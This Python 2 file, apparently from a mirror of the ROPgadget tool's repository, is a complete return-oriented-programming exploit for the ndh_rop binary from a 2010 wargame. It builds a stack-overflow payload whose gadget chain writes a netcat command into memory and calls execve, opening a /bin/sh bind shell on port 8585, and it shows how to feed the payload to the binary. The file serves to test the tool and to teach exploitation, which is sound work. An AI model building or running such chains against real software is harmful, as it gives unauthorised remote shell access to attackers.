mirror of
https://github.com/JonathanSalwan/ROPgadget
synced 2026-06-08 11:25:23 +00:00
Jonathan Salwan
120 lines
4.8 KiB
Python
Executable File
120 lines
4.8 KiB
Python
Executable File
#!/usr/bin/python2
|
|
# Test RopGadget payload in ndh_rop binary
|
|
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
|
|
#
|
|
# poc: ./ndh_rop "$(python2 ./exploit_remote.py)"
|
|
|
|
from struct import pack
|
|
|
|
p = "a" * 12
|
|
# /bin/sh bindport 8585 generated by RopGadget v3.1
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9a0) # @ .data
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += "//us"
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9a4) # @ .data + 4
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += "r/bi"
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9a8) # @ .data + 8
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += "n/ne"
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9ac) # @ .data + 12
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += "tcat"
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9b0) # @ .data + 16
|
|
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9b1) # @ .data + 17
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += "-ltp"
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9b5) # @ .data + 21
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += "8585"
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9b9) # @ .data + 25
|
|
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9ba) # @ .data + 26
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += "-e//"
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9be) # @ .data + 30
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += "/bin"
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9c2) # @ .data + 34
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += "//sh"
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9c6) # @ .data + 38
|
|
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9c8) # @ .data + 40
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += pack("<I", 0x080cd9a0) # @ .data
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9cc) # @ .data + 44
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += pack("<I", 0x080cd9b1) # @ .data + 17
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9d0) # @ .data + 48
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += pack("<I", 0x080cd9ba) # @ .data + 26
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9d4) # @ .data + 52
|
|
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9d5) # @ .data + 53
|
|
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9d6) # @ .data + 54
|
|
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9d7) # @ .data + 55
|
|
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08048144) # pop %ebx | ret
|
|
p += pack("<I", 0x080cd9a0) # @ .data
|
|
p += pack("<I", 0x080c5dd2) # pop %ecx | ret
|
|
p += pack("<I", 0x080cd9c8) # @ .data + 40
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9d4) # @ .data + 52
|
|
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca8) # int $0x80
|
|
|
|
print p
|